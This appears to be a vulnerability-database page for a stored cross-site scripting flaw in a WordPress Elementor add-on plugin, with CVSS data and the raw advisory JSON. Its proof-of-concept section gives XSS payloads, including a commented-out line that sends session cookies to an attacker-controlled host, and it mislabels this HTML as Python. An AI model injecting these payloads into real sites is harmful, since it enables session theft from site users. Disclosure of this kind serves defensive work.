Security Vulnerability Report
中文
CVE-2026-39500 CVSS 6.5 MEDIUM

CVE-2026-39500

Published: 2026-04-08 09:16:24
Last Modified: 2026-04-24 18:08:35

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesflat themesflat-addons-for-elementor themesflat-addons-for-elementor allows Stored XSS.This issue affects themesflat-addons-for-elementor: from n/a through <= 2.3.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

themesflat-addons-for-elementor <= 2.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-39500 Usage: Inject the following payload into vulnerable fields in the Themesflat Addons for Elementor plugin settings. --> <script> // Demonstrate XSS execution alert('CVE-2026-39500 XSS Triggered'); // Example: Steal session cookies // var cookies = document.cookie; // fetch('https://attacker-controlled-server.com/collect?data=' + encodeURIComponent(cookies)); </script> <img src=x onerror=alert('XSS')>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39500", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:24.230", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesflat themesflat-addons-for-elementor themesflat-addons-for-elementor allows Stored XSS.This issue affects themesflat-addons-for-elementor: from n/a through <= 2.3.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/themesflat-addons-for-elementor/vulnerability/wordpress-themesflat-addons-for-elementor-plugin-2-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}